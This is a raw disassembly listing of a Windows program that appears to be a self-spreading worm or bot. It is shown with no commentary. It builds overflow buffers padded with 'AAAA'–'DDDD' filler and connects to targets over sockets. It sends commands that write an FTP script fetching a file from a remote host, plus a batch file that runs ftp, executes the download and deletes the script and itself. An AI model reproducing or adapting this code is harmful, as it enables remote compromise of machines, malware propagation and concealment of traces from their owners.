		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C04
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C28
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458AC
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C1C
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C18
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E60
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C0C
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C08
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_44593C
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458B4
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44596C
		mov	[ebx+31h], eax
		mov	ecx, dword_445970
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE0
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445978
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		call	near ptr 2820269h
		nop


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		call	near ptr 2820269h
		nop
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
